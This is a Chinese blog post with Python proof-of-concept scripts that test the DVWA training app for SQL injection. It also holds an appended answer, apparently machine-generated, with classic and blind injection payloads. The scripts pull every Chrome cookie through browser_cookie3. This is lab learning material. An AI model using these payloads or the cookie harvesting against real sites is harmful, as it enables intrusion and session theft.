POC——DVWA‘s SQL Injection

最近开始尝试着自己写一些POC,从基础的DVWA靶场开始吧,不定时更新~


Level——low:

import requests
import browser_cookie3

cookie = browser_cookie3.chrome()  //获得了chrome全部的访问过的cookie,以后看看有没有什么方法只获取当前的,而且这个方法好像只有chrome可以,firefox不太行
response = requests.get("http://192.168.117.133/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit#",cookies=cookie)

re = 'syntax'
flag=re in str(response.content)

if flag:
    print("It looks likely vulnerable")
else:
    print("It is strong")

Level——Medium

 1 import requests
 2 import browser_cookie3
 3 
 4 cookie = browser_cookie3.chrome()
 5 datas = {"id":"1'","Submit":"Submit"}  //这里因为Content-Type:application/x-www-form-urlencoded,所以post构造为该模式(根据Payload内的值)
 6 response = requests.post("http://192.168.117.130/DVWA-1.9/vulnerabilities/sqli/?id=1'&Submit=Submit#",cookies=cookie,data=datas)
 7 
 8 re = 'syntax'
 9 flag=re in str(response.content)
10 
11 if flag:
12     print("It looks likely vulnerable")
13 else:
14     print("It is strong")

Level——High

 1 import requests
 2 import browser_cookie3
 3 
 4 cookie = browser_cookie3.chrome()
 5 datas = {"id":"1'","Submit":"Submit"}
 6 response1 = requests.post("http://192.168.117.130/DVWA-1.9/vulnerabilities/sqli/session-input.php",cookies=cookie,data=datas)
 7 response2 = requests.get("http://192.168.117.130/DVWA-1.9/vulnerabilities/sqli/",cookies=cookie)  //high中,查询和回显不在一个页面中,所以在这里分post查询和get获取页面
 8 
 9 re = 'wrong'  //这里换了特征语句
10 flag=re in str(response2.content)
11 
12 if flag:
13     print("It looks likely vulnerable")
14 else:
15     print("It is strong")
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
DVWA(Damn Vulnerable Web Application)进行SQL注入和盲注攻击是为了演示和学习安全性问题,需要在合法授权和合规的环境下进行。以下是一个简单的POC(Proof of Concept)来对DVWA进行SQL注入和盲注攻击: 1. SQL注入攻击: ```python import requests # 设置目标URL和payload target_url = "http://dvwa.com/vulnerabilities/sqli/?id=" payload = "' OR '1'='1'-- " # 发送注入请求 response = requests.get(target_url + payload) # 判断注入是否成功 if "User ID exists in the database." in response.text: print("SQL注入成功!") else: print("SQL注入失败!") ``` 在上述代码中,我们构造了一个payload,其中使用了SQL注入的技巧,目的是绕过原始查询条件,使查询结果始终为真。然后,我们使用requests库发送带有payload的GET请求到目标URL。最后,根据返回的响应内容来判断注入是否成功。 2. 盲注攻击: ```python import requests # 设置目标URL和payload target_url = "http://dvwa.com/vulnerabilities/sqli_blind/" payload = "' OR substring((SELECT database()), 1, 1)='d'-- " # 发送盲注请求 response = requests.get(target_url + "?id=" + payload) # 判断盲注是否成功 if "User ID exists in the database." in response.text: print("盲注成功!") else: print("盲注失败!") ``` 在上述代码中,我们构造了一个payload,其中使用了盲注的技巧,通过逐个查询数据库名称的字符,并通过判断响应内容来确定字符是否正确。然后,我们使用requests库发送带有payload的GET请求到目标URL。最后,根据返回的响应内容来判断盲注是否成功。 请注意,以上代码仅用于演示和学习目的,不得用于非法用途。在实际环境中进行安全测试时,请遵循合法和合规的规定,并获得合适的授权。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值